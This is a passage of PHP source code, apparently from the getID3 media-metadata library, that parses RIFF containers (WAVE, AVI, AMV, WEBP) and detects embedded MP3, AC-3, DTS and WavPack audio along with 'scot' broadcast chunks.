						$thisfile_riff['WEBP']['VP8 '][0]['scale_y']    =  (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 8, 2)) & 0xC000) >> 14;
						$thisfile_riff['WEBP']['VP8 '][0]['height']     =  (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 8, 2)) & 0x3FFF);

						$info['video']['resolution_x'] = $thisfile_riff['WEBP']['VP8 '][0]['width'];
						$info['video']['resolution_y'] = $thisfile_riff['WEBP']['VP8 '][0]['height'];
					} else {
						$this->error('Expecting 9D 01 2A at offset '.($thisfile_riff['WEBP']['VP8 '][0]['offset'] + 8 + 3).', found "'.getid3_lib::PrintHexBytes(substr($WEBP_VP8_header, 3, 3)).'"');
					}

				}
				if (!empty($thisfile_riff['WEBP']['VP8L'][0]['size'])) {
					$old_offset = $this->ftell();
					$this->fseek($thisfile_riff['WEBP']['VP8L'][0]['offset'] + 8); // 4 bytes "VP8L" + 4 bytes chunk size
					$WEBP_VP8L_header = $this->fread(10);
					$this->fseek($old_offset);
					if (substr($WEBP_VP8L_header, 0, 1) == "\x2F") {
						$width_height_flags = getid3_lib::LittleEndian2Bin(substr($WEBP_VP8L_header, 1, 4));
						$thisfile_riff['WEBP']['VP8L'][0]['width']         =        bindec(substr($width_height_flags, 18, 14)) + 1;
						$thisfile_riff['WEBP']['VP8L'][0]['height']        =        bindec(substr($width_height_flags,  4, 14)) + 1;
						$thisfile_riff['WEBP']['VP8L'][0]['alpha_is_used'] = (bool) bindec(substr($width_height_flags,  3,  1));
						$thisfile_riff['WEBP']['VP8L'][0]['version']       =        bindec(substr($width_height_flags,  0,  3));

						$info['video']['resolution_x'] = $thisfile_riff['WEBP']['VP8L'][0]['width'];
						$info['video']['resolution_y'] = $thisfile_riff['WEBP']['VP8L'][0]['height'];
					} else {
						$this->error('Expecting 2F at offset '.($thisfile_riff['WEBP']['VP8L'][0]['offset'] + 8).', found "'.getid3_lib::PrintHexBytes(substr($WEBP_VP8L_header, 0, 1)).'"');
					}

				}
				break;

			default:
				$this->error('Unknown RIFF type: expecting one of (WAVE|RMP3|AVI |CDDA|AIFF|AIFC|8SVX|CDXA|WEBP), found "'.$RIFFsubtype.'" instead');
				//unset($info['fileformat']);
		}

		switch ($RIFFsubtype) {
			case 'WAVE':
			case 'AIFF':
			case 'AIFC':
				$ID3v2_key_good = 'id3 ';
				$ID3v2_keys_bad = array('ID3 ', 'tag ');
				foreach ($ID3v2_keys_bad as $ID3v2_key_bad) {
					if (isset($thisfile_riff[$RIFFsubtype][$ID3v2_key_bad]) && !array_key_exists($ID3v2_key_good, $thisfile_riff[$RIFFsubtype])) {
						$thisfile_riff[$RIFFsubtype][$ID3v2_key_good] = $thisfile_riff[$RIFFsubtype][$ID3v2_key_bad];
						$this->warning('mapping "'.$ID3v2_key_bad.'" chunk to "'.$ID3v2_key_good.'"');
					}
				}

				if (isset($thisfile_riff[$RIFFsubtype]['id3 '])) {
					getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v2.php', __FILE__, true);

					$getid3_temp = new getID3();
					$getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp);
					$getid3_id3v2 = new getid3_id3v2($getid3_temp);
					$getid3_id3v2->StartingOffset = $thisfile_riff[$RIFFsubtype]['id3 '][0]['offset'] + 8;
					if ($thisfile_riff[$RIFFsubtype]['id3 '][0]['valid'] = $getid3_id3v2->Analyze()) {
						$info['id3v2'] = $getid3_temp->info['id3v2'];
					}
					unset($getid3_temp, $getid3_id3v2);
				}
				break;
		}

		if (isset($thisfile_riff_WAVE['DISP']) && is_array($thisfile_riff_WAVE['DISP'])) {
			$thisfile_riff['comments']['title'][] = trim(substr($thisfile_riff_WAVE['DISP'][count($thisfile_riff_WAVE['DISP']) - 1]['data'], 4));
		}
		if (isset($thisfile_riff_WAVE['INFO']) && is_array($thisfile_riff_WAVE['INFO'])) {
			self::parseComments($thisfile_riff_WAVE['INFO'], $thisfile_riff['comments']);
		}
		if (isset($thisfile_riff['AVI ']['INFO']) && is_array($thisfile_riff['AVI ']['INFO'])) {
			self::parseComments($thisfile_riff['AVI ']['INFO'], $thisfile_riff['comments']);
		}

		if (empty($thisfile_audio['encoder']) && !empty($info['mpeg']['audio']['LAME']['short_version'])) {
			$thisfile_audio['encoder'] = $info['mpeg']['audio']['LAME']['short_version'];
		}

		if (!isset($info['playtime_seconds'])) {
			$info['playtime_seconds'] = 0;
		}
		if (isset($thisfile_riff_raw['strh'][0]['dwLength']) && isset($thisfile_riff_raw['avih']['dwMicroSecPerFrame'])) { // @phpstan-ignore-line
			// needed for >2GB AVIs where 'avih' chunk only lists number of frames in that chunk, not entire movie
			$info['playtime_seconds'] = $thisfile_riff_raw['strh'][0]['dwLength'] * ($thisfile_riff_raw['avih']['dwMicroSecPerFrame'] / 1000000);
		} elseif (isset($thisfile_riff_raw['avih']['dwTotalFrames']) && isset($thisfile_riff_raw['avih']['dwMicroSecPerFrame'])) { // @phpstan-ignore-line
			$info['playtime_seconds'] = $thisfile_riff_raw['avih']['dwTotalFrames'] * ($thisfile_riff_raw['avih']['dwMicroSecPerFrame'] / 1000000);
		}

		if ($info['playtime_seconds'] > 0) {
			if (isset($thisfile_riff_audio) && isset($thisfile_riff_video)) {

				if (!isset($info['bitrate'])) {
					$info['bitrate'] = ((($info['avdataend'] - $info['avdataoffset']) / $info['playtime_seconds']) * 8);
				}

			} elseif (isset($thisfile_riff_audio) && !isset($thisfile_riff_video)) {

				if (!isset($thisfile_audio['bitrate'])) {
					$thisfile_audio['bitrate'] = ((($info['avdataend'] - $info['avdataoffset']) / $info['playtime_seconds']) * 8);
				}

			} elseif (!isset($thisfile_riff_audio) && isset($thisfile_riff_video)) {

				if (!isset($thisfile_video['bitrate'])) {
					$thisfile_video['bitrate'] = ((($info['avdataend'] - $info['avdataoffset']) / $info['playtime_seconds']) * 8);
				}

			}
		}


		if (isset($thisfile_riff_video) && isset($thisfile_audio['bitrate']) && ($thisfile_audio['bitrate'] > 0) && ($info['playtime_seconds'] > 0)) {

			$info['bitrate'] = ((($info['avdataend'] - $info['avdataoffset']) / $info['playtime_seconds']) * 8);
			$thisfile_audio['bitrate'] = 0;
			$thisfile_video['bitrate'] = $info['bitrate'];
			foreach ($thisfile_riff_audio as $channelnumber => $audioinfoarray) {
				$thisfile_video['bitrate'] -= $audioinfoarray['bitrate'];
				$thisfile_audio['bitrate'] += $audioinfoarray['bitrate'];
			}
			if ($thisfile_video['bitrate'] <= 0) {
				unset($thisfile_video['bitrate']);
			}
			if ($thisfile_audio['bitrate'] <= 0) {
				unset($thisfile_audio['bitrate']);
			}
		}

		if (isset($info['mpeg']['audio'])) {
			$thisfile_audio_dataformat      = 'mp'.$info['mpeg']['audio']['layer'];
			$thisfile_audio['sample_rate']  = $info['mpeg']['audio']['sample_rate'];
			$thisfile_audio['channels']     = $info['mpeg']['audio']['channels'];
			$thisfile_audio['bitrate']      = $info['mpeg']['audio']['bitrate'];
			$thisfile_audio['bitrate_mode'] = strtolower($info['mpeg']['audio']['bitrate_mode']);
			if (!empty($info['mpeg']['audio']['codec'])) {
				$thisfile_audio['codec'] = $info['mpeg']['audio']['codec'].' '.$thisfile_audio['codec'];
			}
			if (!empty($thisfile_audio['streams'])) {
				foreach ($thisfile_audio['streams'] as $streamnumber => $streamdata) {
					if ($streamdata['dataformat'] == $thisfile_audio_dataformat) {
						$thisfile_audio['streams'][$streamnumber]['sample_rate']  = $thisfile_audio['sample_rate'];
						$thisfile_audio['streams'][$streamnumber]['channels']     = $thisfile_audio['channels'];
						$thisfile_audio['streams'][$streamnumber]['bitrate']      = $thisfile_audio['bitrate'];
						$thisfile_audio['streams'][$streamnumber]['bitrate_mode'] = $thisfile_audio['bitrate_mode'];
						$thisfile_audio['streams'][$streamnumber]['codec']        = $thisfile_audio['codec'];
					}
				}
			}
			$getid3_mp3 = new getid3_mp3($this->getid3);
			$thisfile_audio['encoder_options'] = $getid3_mp3->GuessEncoderOptions();
			unset($getid3_mp3);
		}


		if (!empty($thisfile_riff_raw['fmt ']['wBitsPerSample']) && ($thisfile_riff_raw['fmt ']['wBitsPerSample'] > 0)) {
			switch ($thisfile_audio_dataformat) {
				case 'ac3':
					// ignore bits_per_sample
					break;

				default:
					$thisfile_audio['bits_per_sample'] = $thisfile_riff_raw['fmt ']['wBitsPerSample'];
					break;
			}
		}


		if (empty($thisfile_riff_raw)) {
			unset($thisfile_riff['raw']);
		}
		if (empty($thisfile_riff_audio)) {
			unset($thisfile_riff['audio']);
		}
		if (empty($thisfile_riff_video)) {
			unset($thisfile_riff['video']);
		}

		return true;
	}

	/**
	 * @param int $startoffset
	 * @param int $maxoffset
	 *
	 * @return array|false
	 *
	 * @throws Exception
	 * @throws getid3_exception
	 */
	public function ParseRIFFAMV($startoffset, $maxoffset) {
		// AMV files are RIFF-AVI files with parts of the spec deliberately broken, such as chunk size fields hardcoded to zero (because players known in hardware that these fields are always a certain size

		// https://code.google.com/p/amv-codec-tools/wiki/AmvDocumentation
		//typedef struct _amvmainheader {
		//FOURCC fcc; // 'amvh'
		//DWORD cb;
		//DWORD dwMicroSecPerFrame;
		//BYTE reserve[28];
		//DWORD dwWidth;
		//DWORD dwHeight;
		//DWORD dwSpeed;
		//DWORD reserve0;
		//DWORD reserve1;
		//BYTE bTimeSec;
		//BYTE bTimeMin;
		//WORD wTimeHour;
		//} AMVMAINHEADER;

		$info = &$this->getid3->info;
		$RIFFchunk = false;

		try {

			$this->fseek($startoffset);
			$maxoffset = min($maxoffset, $info['avdataend']);
			$AMVheader = $this->fread(284);
			if (substr($AMVheader,   0,  8) != 'hdrlamvh') {
				throw new Exception('expecting "hdrlamv" at offset '.($startoffset +   0).', found "'.substr($AMVheader,   0, 8).'"');
			}
			if (substr($AMVheader,   8,  4) != "\x38\x00\x00\x00") { // "amvh" chunk size, hardcoded to 0x38 = 56 bytes
				throw new Exception('expecting "0x38000000" at offset '.($startoffset +   8).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader,   8, 4)).'"');
			}
			$RIFFchunk = array();
			$RIFFchunk['amvh']['us_per_frame']   = getid3_lib::LittleEndian2Int(substr($AMVheader,  12,  4));
			$RIFFchunk['amvh']['reserved28']     =                              substr($AMVheader,  16, 28);  // null? reserved?
			$RIFFchunk['amvh']['resolution_x']   = getid3_lib::LittleEndian2Int(substr($AMVheader,  44,  4));
			$RIFFchunk['amvh']['resolution_y']   = getid3_lib::LittleEndian2Int(substr($AMVheader,  48,  4));
			$RIFFchunk['amvh']['frame_rate_int'] = getid3_lib::LittleEndian2Int(substr($AMVheader,  52,  4));
			$RIFFchunk['amvh']['reserved0']      = getid3_lib::LittleEndian2Int(substr($AMVheader,  56,  4)); // 1? reserved?
			$RIFFchunk['amvh']['reserved1']      = getid3_lib::LittleEndian2Int(substr($AMVheader,  60,  4)); // 0? reserved?
			$RIFFchunk['amvh']['runtime_sec']    = getid3_lib::LittleEndian2Int(substr($AMVheader,  64,  1));
			$RIFFchunk['amvh']['runtime_min']    = getid3_lib::LittleEndian2Int(substr($AMVheader,  65,  1));
			$RIFFchunk['amvh']['runtime_hrs']    = getid3_lib::LittleEndian2Int(substr($AMVheader,  66,  2));

			$info['video']['frame_rate']   = 1000000 / $RIFFchunk['amvh']['us_per_frame'];
			$info['video']['resolution_x'] = $RIFFchunk['amvh']['resolution_x'];
			$info['video']['resolution_y'] = $RIFFchunk['amvh']['resolution_y'];
			$info['playtime_seconds']      = ($RIFFchunk['amvh']['runtime_hrs'] * 3600) + ($RIFFchunk['amvh']['runtime_min'] * 60) + $RIFFchunk['amvh']['runtime_sec'];

			// the rest is all hardcoded(?) and does not appear to be useful until you get to audio info at offset 256, even then everything is probably hardcoded

			if (substr($AMVheader,  68, 20) != 'LIST'."\x00\x00\x00\x00".'strlstrh'."\x38\x00\x00\x00") {
				throw new Exception('expecting "LIST<0x00000000>strlstrh<0x38000000>" at offset '.($startoffset +  68).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader,  68, 20)).'"');
			}
			// followed by 56 bytes of null: substr($AMVheader,  88, 56) -> 144
			if (substr($AMVheader, 144,  8) != 'strf'."\x24\x00\x00\x00") {
				throw new Exception('expecting "strf<0x24000000>" at offset '.($startoffset + 144).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader, 144,  8)).'"');
			}
			// followed by 36 bytes of null: substr($AMVheader, 144, 36) -> 180

			if (substr($AMVheader, 188, 20) != 'LIST'."\x00\x00\x00\x00".'strlstrh'."\x30\x00\x00\x00") {
				throw new Exception('expecting "LIST<0x00000000>strlstrh<0x30000000>" at offset '.($startoffset + 188).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader, 188, 20)).'"');
			}
			// followed by 48 bytes of null: substr($AMVheader, 208, 48) -> 256
			if (substr($AMVheader, 256,  8) != 'strf'."\x14\x00\x00\x00") {
				throw new Exception('expecting "strf<0x14000000>" at offset '.($startoffset + 256).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader, 256,  8)).'"');
			}
			// followed by 20 bytes of a modified WAVEFORMATEX:
			// typedef struct {
			// WORD wFormatTag;       //(Fixme: this is equal to PCM's 0x01 format code)
			// WORD nChannels;        //(Fixme: this is always 1)
			// DWORD nSamplesPerSec;  //(Fixme: for all known sample files this is equal to 22050)
			// DWORD nAvgBytesPerSec; //(Fixme: for all known sample files this is equal to 44100)
			// WORD nBlockAlign;      //(Fixme: this seems to be 2 in AMV files, is this correct ?)
			// WORD wBitsPerSample;   //(Fixme: this seems to be 16 in AMV files instead of the expected 4)
			// WORD cbSize;           //(Fixme: this seems to be 0 in AMV files)
			// WORD reserved;
			// } WAVEFORMATEX;
			$RIFFchunk['strf']['wformattag']      = getid3_lib::LittleEndian2Int(substr($AMVheader,  264,  2));
			$RIFFchunk['strf']['nchannels']       = getid3_lib::LittleEndian2Int(substr($AMVheader,  266,  2));
			$RIFFchunk['strf']['nsamplespersec']  = getid3_lib::LittleEndian2Int(substr($AMVheader,  268,  4));
			$RIFFchunk['strf']['navgbytespersec'] = getid3_lib::LittleEndian2Int(substr($AMVheader,  272,  4));
			$RIFFchunk['strf']['nblockalign']     = getid3_lib::LittleEndian2Int(substr($AMVheader,  276,  2));
			$RIFFchunk['strf']['wbitspersample']  = getid3_lib::LittleEndian2Int(substr($AMVheader,  278,  2));
			$RIFFchunk['strf']['cbsize']          = getid3_lib::LittleEndian2Int(substr($AMVheader,  280,  2));
			$RIFFchunk['strf']['reserved']        = getid3_lib::LittleEndian2Int(substr($AMVheader,  282,  2));


			$info['audio']['lossless']        = false;
			$info['audio']['sample_rate']     = $RIFFchunk['strf']['nsamplespersec'];
			$info['audio']['channels']        = $RIFFchunk['strf']['nchannels'];
			$info['audio']['bits_per_sample'] = $RIFFchunk['strf']['wbitspersample'];
			$info['audio']['bitrate']         = $info['audio']['sample_rate'] * $info['audio']['channels'] * $info['audio']['bits_per_sample'];
			$info['audio']['bitrate_mode']    = 'cbr';


		} catch (getid3_exception $e) {
			if ($e->getCode() == 10) {
				$this->warning('RIFFAMV parser: '.$e->getMessage());
			} else {
				throw $e;
			}
		}

		return $RIFFchunk;
	}

	/**
	 * @param int $startoffset
	 * @param int $maxoffset
	 *
	 * @return array|false
	 * @throws getid3_exception
	 */
	public function ParseRIFF($startoffset, $maxoffset) {
		$info = &$this->getid3->info;

		$RIFFchunk = array();
		$FoundAllChunksWeNeed = false;
		$LISTchunkParent = null;
		$LISTchunkMaxOffset = null;
		$AC3syncwordBytes = pack('n', getid3_ac3::syncword); // 0x0B77 -> "\x0B\x77"

		try {
			$this->fseek($startoffset);
			$maxoffset = min($maxoffset, $info['avdataend']);
			while ($this->ftell() < $maxoffset) {
				$chunknamesize = $this->fread(8);
				//$chunkname =                          substr($chunknamesize, 0, 4);
				$chunkname = str_replace("\x00", '_', substr($chunknamesize, 0, 4));  // note: chunk names of 4 null bytes do appear to be legal (has been observed inside INFO and PRMI chunks, for example), but makes traversing array keys more difficult
				$chunksize =  $this->EitherEndian2Int(substr($chunknamesize, 4, 4));
				//if (strlen(trim($chunkname, "\x00")) < 4) {
				if (strlen($chunkname) < 4) {
					$this->error('Expecting chunk name at offset '.($this->ftell() - 8).' but found nothing. Aborting RIFF parsing.');
					break;
				}
				if (($chunksize == 0) && ($chunkname != 'JUNK')) {
					$this->warning('Chunk ('.$chunkname.') size at offset '.($this->ftell() - 4).' is zero. Aborting RIFF parsing.');
					break;
				}
				if (($chunksize % 2) != 0) {
					// all structures are packed on word boundaries
					$chunksize++;
				}

				switch ($chunkname) {
					case 'LIST':
						$listname = $this->fread(4);
						if (preg_match('#^(movi|rec )$#i', $listname)) {
							$RIFFchunk[$listname]['offset'] = $this->ftell() - 4;
							$RIFFchunk[$listname]['size']   = $chunksize;

							if (!$FoundAllChunksWeNeed) {
								$WhereWeWere      = $this->ftell();
								$AudioChunkHeader = $this->fread(12);
								$AudioChunkStreamNum  =                              substr($AudioChunkHeader, 0, 2);
								$AudioChunkStreamType =                              substr($AudioChunkHeader, 2, 2);
								$AudioChunkSize       = getid3_lib::LittleEndian2Int(substr($AudioChunkHeader, 4, 4));

								if ($AudioChunkStreamType == 'wb') {
									$FirstFourBytes = substr($AudioChunkHeader, 8, 4);
									if (preg_match('/^\xFF[\xE2-\xE7\xF2-\xF7\xFA-\xFF][\x00-\xEB]/s', $FirstFourBytes)) {
										// MP3
										if (getid3_mp3::MPEGaudioHeaderBytesValid($FirstFourBytes)) {
											$getid3_temp = new getID3();
											$getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp);
											$getid3_temp->info['avdataoffset'] = $this->ftell() - 4;
											$getid3_temp->info['avdataend']    = $this->ftell() + $AudioChunkSize;
											$getid3_mp3 = new getid3_mp3($getid3_temp, __CLASS__);
											$getid3_mp3->getOnlyMPEGaudioInfo($getid3_temp->info['avdataoffset'], false);
											if (isset($getid3_temp->info['mpeg']['audio'])) {
												$info['mpeg']['audio']         = $getid3_temp->info['mpeg']['audio'];
												$info['audio']                 = $getid3_temp->info['audio'];
												$info['audio']['dataformat']   = 'mp'.$info['mpeg']['audio']['layer'];
												$info['audio']['sample_rate']  = $info['mpeg']['audio']['sample_rate'];
												$info['audio']['channels']     = $info['mpeg']['audio']['channels'];
												$info['audio']['bitrate']      = $info['mpeg']['audio']['bitrate'];
												$info['audio']['bitrate_mode'] = strtolower($info['mpeg']['audio']['bitrate_mode']);
												//$info['bitrate']               = $info['audio']['bitrate'];
											}
											unset($getid3_temp, $getid3_mp3);
										}

									} elseif (strpos($FirstFourBytes, $AC3syncwordBytes) === 0) {
										// AC3
										$getid3_temp = new getID3();
										$getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp);
										$getid3_temp->info['avdataoffset'] = $this->ftell() - 4;
										$getid3_temp->info['avdataend']    = $this->ftell() + $AudioChunkSize;
										$getid3_ac3 = new getid3_ac3($getid3_temp);
										$getid3_ac3->Analyze();
										if (empty($getid3_temp->info['error'])) {
											$info['audio']   = $getid3_temp->info['audio'];
											$info['ac3']     = $getid3_temp->info['ac3'];
											if (!empty($getid3_temp->info['warning'])) {
												foreach ($getid3_temp->info['warning'] as $key => $value) {
													$this->warning($value);
												}
											}
										}
										unset($getid3_temp, $getid3_ac3);
									}
								}
								$FoundAllChunksWeNeed = true;
								$this->fseek($WhereWeWere);
							}
							$this->fseek($chunksize - 4, SEEK_CUR);

						} else {

							if (!isset($RIFFchunk[$listname])) {
								$RIFFchunk[$listname] = array();
							}
							$LISTchunkParent    = $listname;
							$LISTchunkMaxOffset = $this->ftell() - 4 + $chunksize;
							if ($parsedChunk = $this->ParseRIFF($this->ftell(), $LISTchunkMaxOffset)) {
								$RIFFchunk[$listname] = array_merge_recursive($RIFFchunk[$listname], $parsedChunk);
							}

						}
						break;

					default:
						if (preg_match('#^[0-9]{2}(wb|pc|dc|db)$#', $chunkname)) {
							$this->fseek($chunksize, SEEK_CUR);
							break;
						}
						$thisindex = 0;
						if (isset($RIFFchunk[$chunkname]) && is_array($RIFFchunk[$chunkname])) {
							$thisindex = count($RIFFchunk[$chunkname]);
						}
						$RIFFchunk[$chunkname][$thisindex]['offset'] = $this->ftell() - 8;
						$RIFFchunk[$chunkname][$thisindex]['size']   = $chunksize;
						switch ($chunkname) {
							case 'data':
								$info['avdataoffset'] = $this->ftell();
								$info['avdataend']    = $info['avdataoffset'] + $chunksize;

								$testData = $this->fread(36);
								if ($testData === '') {
									break;
								}
								if (preg_match('/^\xFF[\xE2-\xE7\xF2-\xF7\xFA-\xFF][\x00-\xEB]/s', substr($testData, 0, 4))) {

									// Probably is MP3 data
									if (getid3_mp3::MPEGaudioHeaderBytesValid(substr($testData, 0, 4))) {
										$getid3_temp = new getID3();
										$getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp);
										$getid3_temp->info['avdataoffset'] = $info['avdataoffset'];
										$getid3_temp->info['avdataend']    = $info['avdataend'];
										$getid3_mp3 = new getid3_mp3($getid3_temp, __CLASS__);
										$getid3_mp3->getOnlyMPEGaudioInfo($info['avdataoffset'], false);
										if (empty($getid3_temp->info['error'])) {
											$info['audio'] = $getid3_temp->info['audio'];
											$info['mpeg']  = $getid3_temp->info['mpeg'];
										}
										unset($getid3_temp, $getid3_mp3);
									}

								} elseif (($isRegularAC3 = (substr($testData, 0, 2) == $AC3syncwordBytes)) || substr($testData, 8, 2) == strrev($AC3syncwordBytes)) {

									// This is probably AC-3 data
									$getid3_temp = new getID3();
									if ($isRegularAC3) {
										$getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp);
										$getid3_temp->info['avdataoffset'] = $info['avdataoffset'];
										$getid3_temp->info['avdataend']    = $info['avdataend'];
									}
									$getid3_ac3 = new getid3_ac3($getid3_temp);
									if ($isRegularAC3) {
										$getid3_ac3->Analyze();
									} else {
										// Dolby Digital WAV
										// AC-3 content, but not encoded in same format as normal AC-3 file
										// For one thing, byte order is swapped
										$ac3_data = '';
										for ($i = 0; $i < 28; $i += 2) {
											$ac3_data .= substr($testData, 8 + $i + 1, 1);
											$ac3_data .= substr($testData, 8 + $i + 0, 1);
										}
										$getid3_ac3->getid3->info['avdataoffset'] = 0;
										$getid3_ac3->getid3->info['avdataend']    = strlen($ac3_data);
										$getid3_ac3->AnalyzeString($ac3_data);
									}

									if (empty($getid3_temp->info['error'])) {
										$info['audio'] = $getid3_temp->info['audio'];
										$info['ac3']   = $getid3_temp->info['ac3'];
										if (!empty($getid3_temp->info['warning'])) {
											foreach ($getid3_temp->info['warning'] as $newerror) {
												$this->warning('getid3_ac3() says: ['.$newerror.']');
											}
										}
									}
									unset($getid3_temp, $getid3_ac3);

								} elseif (preg_match('/^('.implode('|', array_map('preg_quote', getid3_dts::$syncwords)).')/', $testData)) {

									// This is probably DTS data
									$getid3_temp = new getID3();
									$getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp);
									$getid3_temp->info['avdataoffset'] = $info['avdataoffset'];
									$getid3_dts = new getid3_dts($getid3_temp);
									$getid3_dts->Analyze();
									if (empty($getid3_temp->info['error'])) {
										$info['audio']            = $getid3_temp->info['audio'];
										$info['dts']              = $getid3_temp->info['dts'];
										$info['playtime_seconds'] = $getid3_temp->info['playtime_seconds']; // may not match RIFF calculations since DTS-WAV often used 14/16 bit-word packing
										if (!empty($getid3_temp->info['warning'])) {
											foreach ($getid3_temp->info['warning'] as $newerror) {
												$this->warning('getid3_dts() says: ['.$newerror.']');
											}
										}
									}

									unset($getid3_temp, $getid3_dts);

								} elseif (substr($testData, 0, 4) == 'wvpk') {

									// This is WavPack data
									$info['wavpack']['offset'] = $info['avdataoffset'];
									$info['wavpack']['size']   = getid3_lib::LittleEndian2Int(substr($testData, 4, 4));
									$this->parseWavPackHeader(substr($testData, 8, 28));

								} else {
									// This is some other kind of data (quite possibly just PCM)
									// do nothing special, just skip it
								}
								$nextoffset = $info['avdataend'];
								$this->fseek($nextoffset);
								break;

							case 'iXML':
							case 'bext':
							case 'cart':
							case 'fmt ':
							case 'strh':
							case 'strf':
							case 'indx':
							case 'MEXT':
							case 'DISP':
							case 'wamd':
							case 'guan':
								// always read data in
							case 'JUNK':
								// should be: never read data in
								// but some programs write their version strings in a JUNK chunk (e.g. VirtualDub, AVIdemux, etc)
								if ($chunksize < 1048576) {
									if ($chunksize > 0) {
										$RIFFchunk[$chunkname][$thisindex]['data'] = $this->fread($chunksize);
										if ($chunkname == 'JUNK') {
											if (preg_match('#^([\\x20-\\x7F]+)#', $RIFFchunk[$chunkname][$thisindex]['data'], $matches)) {
												// only keep text characters [chr(32)-chr(127)]
												$info['riff']['comments']['junk'][] = trim($matches[1]);
											}
											// but if nothing there, ignore
											// remove the key in either case
											unset($RIFFchunk[$chunkname][$thisindex]['data']);
										}
									}
								} else {
									$this->warning('Chunk "'.$chunkname.'" at offset '.$this->ftell().' is unexpectedly larger than 1MB (claims to be '.number_format($chunksize).' bytes), skipping data');
									$this->fseek($chunksize, SEEK_CUR);
								}
								break;

							//case 'IDVX':
							//	$info['divxtag']['comments'] = self::ParseDIVXTAG($this->fread($chunksize));
							//	break;

							case 'scot':
								// https://cmsdk.com/node-js/adding-scot-chunk-to-wav-file.html
								$RIFFchunk[$chunkname][$thisindex]['data'] = $this->fread($chunksize);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['alter']           =                              substr($RIFFchunk[$chunkname][$thisindex]['data'],   0,   1);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['attrib']          =                              substr($RIFFchunk[$chunkname][$thisindex]['data'],   1,   1);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['artnum']          = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'],   2,   2));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['title']           =                              substr($RIFFchunk[$chunkname][$thisindex]['data'],   4,  43);  // "name" in other documentation
								$RIFFchunk[$chunkname][$thisindex]['parsed']['copy']            =                              substr($RIFFchunk[$chunkname][$thisindex]['data'],  47,   4);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['padd']            =                              substr($RIFFchunk[$chunkname][$thisindex]['data'],  51,   1);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['asclen']          =                              substr($RIFFchunk[$chunkname][$thisindex]['data'],  52,   5);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['startseconds']    = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'],  57,   2));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['starthundredths'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'],  59,   2));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['endseconds']      = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'],  61,   2));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['endhundreths']    = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'],  63,   2));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['sdate']           =                              substr($RIFFchunk[$chunkname][$thisindex]['data'],  65,   6);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['kdate']           =                              substr($RIFFchunk[$chunkname][$thisindex]['data'],  71,   6);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['start_hr']        =                              substr($RIFFchunk[$chunkname][$thisindex]['data'],  77,   1);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['kill_hr']         =                              substr($RIFFchunk[$chunkname][$thisindex]['data'],  78,   1);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['digital']         =                              substr($RIFFchunk[$chunkname][$thisindex]['data'],  79,   1);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['sample_rate']     = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'],  80,   2));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['stereo']          =                              substr($RIFFchunk[$chunkname][$thisindex]['data'],  82,   1);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['compress']        =                              substr($RIFFchunk[$chunkname][$thisindex]['data'],  83,   1);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['eomstrt']         = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'],  84,   4));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['eomlen']          = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'],  88,   2));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['attrib2']         = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'],  90,   4));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['future1']         =                              substr($RIFFchunk[$chunkname][$thisindex]['data'],  94,  12);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['catfontcolor']    = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 106,   4));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['catcolor']        = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 110,   4));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['segeompos']       = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 114,   4));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['vt_startsecs']    = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 118,   2));
